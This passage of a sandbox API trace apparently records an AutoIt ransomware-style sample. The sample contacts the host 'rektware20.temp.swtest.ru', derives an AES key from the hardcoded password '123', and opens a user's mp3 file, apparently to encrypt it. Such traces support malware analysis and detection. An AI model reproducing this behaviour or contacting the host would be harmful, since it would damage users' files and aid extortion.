(Locale=0x400, dwCmpFlags=0x1, lpString1="RnGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nGmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gmio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mio5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="io5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fUSWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="USWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WSJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.443] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.443] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.443] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.443] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.443] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.443] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.444] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.444] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ee1c) returned 1 [0064.444] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.444] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.444] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.444] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.444] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.445] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.445] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.445] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.445] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.445] CloseHandle (hObject=0x0) returned 0 [0064.445] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.445] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0064.446] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.446] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.446] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.446] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.446] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.446] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.446] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.447] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.447] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0064.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.448] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.449] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.449] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.449] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.453] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.453] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.453] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.457] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.457] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.457] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.457] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.458] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.458] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.458] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.458] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.458] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.458] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.458] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.458] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629610, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.459] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.459] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.459] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.461] CryptHashData (hHash=0x164c870, pbData=0x1629610, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.461] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.461] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.461] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.461] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.461] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.462] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.462] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0064.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.462] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.464] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.464] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.465] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.465] CryptDestroyHash (hHash=0x164c870) returned 1 [0064.465] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.465] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.465] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\rngmio5fuswsj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.466] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.466] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.466] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.466] GetFileAttributesW 